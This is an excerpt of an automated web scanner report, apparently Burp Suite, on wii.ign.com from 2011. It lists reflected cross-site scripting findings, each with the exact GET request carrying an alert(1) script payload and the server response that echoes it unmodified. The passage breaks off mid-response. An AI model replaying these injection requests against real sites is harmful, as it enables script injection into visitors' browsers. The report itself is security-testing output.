Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:50 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:50 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2993-1664320867-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:49 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044049859v-1n-12mc+1297044049859mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 93357

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://wii.ign.com/articles/114/1148074p1.html?c075c"><script>alert(1)</script>c7d482579d9=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.510. http://wii.ign.com/index/features.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/index/features.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8f692"-alert(1)-"e5289464874 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/features.html?8f692"-alert(1)-"e5289464874=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:13 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:13 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-12684-1688352028-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:13 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044013640v-1n-12mc+1297044013640mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 145027

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>Nintendo Wii Revie
...[SNIP]...
peof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://wii.ign.com/index/features.html?8f692"-alert(1)-"e5289464874=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.511. http://wii.ign.com/index/features.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/index/features.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b67c"><script>alert(1)</script>266b7fb539d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/features.html?2b67c"><script>alert(1)</script>266b7fb539d=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:11 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:11 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-3558-1459371653-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:11 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044011562v-1n-12mc+1297044011562mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 145956

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Nintendo Wii Revie
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://wii.ign.com/index/features.html?2b67c"><script>alert(1)</script>266b7fb539d=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.512. http://wii.ign.com/index/games.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/index/games.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2787e"><script>alert(1)</script>93d833f6191 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/games.html?2787e"><script>alert(1)</script>93d833f6191=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:20 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:20 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15003-912442959-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:20 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044020065v-1n-12mc+1297044020065mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 177757

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>All Nintendo Wii G
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://wii.ign.com/index/games.html?2787e"><script>alert(1)</script>93d833f6191=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.513. http://wii.ign.com/index/games.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/index/games.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d7efa"-alert(1)-"313a31fb23f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/games.html?d7efa"-alert(1)-"313a31fb23f=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:22 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:22 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-14395-1958521308-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:22 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044022105v-1n-12mc+1297044022105mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 177698

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>All Nintendo Wii G
...[SNIP]...
(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://wii.ign.com/index/games.html?d7efa"-alert(1)-"313a31fb23f=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.514. http://wii.ign.com/index/images.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/index/images.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72e44"><script>alert(1)</script>bb8eb774a82 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/images.html?72e44"><script>alert(1)</script>bb8eb774a82=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:24 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:24 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-27586-824704301-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:23 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044023865v-1n-12mc+1297044023865mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 111756

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Wii: Games, Ch
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://wii.ign.com/index/images.html?72e44"><script>alert(1)</script>bb8eb774a82=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.515. http://wii.ign.com/index/images.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/index/images.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e9e31"-alert(1)-"8c0fae4b9ec was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/images.html?e9e31"-alert(1)-"8c0fae4b9ec=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:25 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:25 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-485-1493637322-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:25 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044025403v-1n-12mc+1297044025403mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 111924

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Wii: Games, Ch
...[SNIP]...
typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://wii.ign.com/index/images.html?e9e31"-alert(1)-"8c0fae4b9ec=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.516. http://wii.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/index/latest-updates.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a542f"-alert(1)-"875fe2f2a28 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/latest-updates.html?a542f"-alert(1)-"875fe2f2a28=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:44 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:44 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-1825-857695334-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:44 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044044450v-1n-12mc+1297044044450mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 141849

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://wii.ign.com/index/latest-updates.html?a542f"-alert(1)-"875fe2f2a28=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.517. http://wii.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/index/latest-updates.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6ddae"><script>alert(1)</script>c898f48dd19 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/latest-updates.html?6ddae"><script>alert(1)</script>c898f48dd19=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:42 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:42 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-23512-497382678-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:42 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044042422v-1n-12mc+1297044042422mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 141746

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://wii.ign.com/index/latest-updates.html?6ddae"><script>alert(1)</script>c898f48dd19=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.518. http://wii.ign.com/index/latest-updates.html [types parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/index/latest-updates.html

Issue detail

The value of the types request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a5603"><script>alert(1)</script>2d4773f4501 was submitted in the types parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/latest-updates.html?types=alla5603"><script>alert(1)</script>2d4773f4501 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:46 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:46 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-19918-607525124-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:45 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044045838v-1n-12mc+1297044045838mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 115814

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://wii.ign.com/index/latest-updates.html?types=alla5603"><script>alert(1)</script>2d4773f4501&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.519. http://wii.ign.com/index/latest-updates.html [types parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/index/latest-updates.html

Issue detail

The value of the types request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 87752"-alert(1)-"baaf9350d9b was submitted in the types parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/latest-updates.html?types=all87752"-alert(1)-"baaf9350d9b HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:47 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:47 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18740-779595993-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:47 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044047720v-1n-12mc+1297044047720mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 115384

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
uard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://wii.ign.com/index/latest-updates.html?types=all87752"-alert(1)-"baaf9350d9b",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.520. http://wii.ign.com/index/latest-updates.html [types parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/index/latest-updates.html

Issue detail

The value of the types request parameter is copied into an HTML comment. The payload 44cec--><script>alert(1)</script>43df5d303b7 was submitted in the types parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /index/latest-updates.html?types=all44cec--><script>alert(1)</script>43df5d303b7 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:50 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:50 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-27365-1828661069-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:49 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044049851v-1n-12mc+1297044049851mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 115687

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><script>alert(1)</script>43df5d303b7&startDate=20110107&endDate=20110206 -->
...[SNIP]...

3.521. http://wii.ign.com/index/news.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/index/news.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c7d2d"><script>alert(1)</script>a2a673dd8b5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/news.html?c7d2d"><script>alert(1)</script>a2a673dd8b5=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:17 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:17 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-26296-2079708368-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:16 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044016988v-1n-12mc+1297044016988mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 129436

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Wii: Games, Ch
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://wii.ign.com/index/news.html?c7d2d"><script>alert(1)</script>a2a673dd8b5=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.522. http://wii.ign.com/index/news.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/index/news.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 253b5"-alert(1)-"ff484b84cd2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/news.html?253b5"-alert(1)-"ff484b84cd2=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:19 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:19 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-19323-1772576963-10;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:18 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044018979v-1n-12mc+1297044018979mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 129135

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Wii: Games, Ch
...[SNIP]...
f(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://wii.ign.com/index/news.html?253b5"-alert(1)-"ff484b84cd2=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.523. http://wii.ign.com/index/previews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/index/previews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dcb33"-alert(1)-"d95f6811418 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/previews.html?dcb33"-alert(1)-"d95f6811418=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:12 GMT
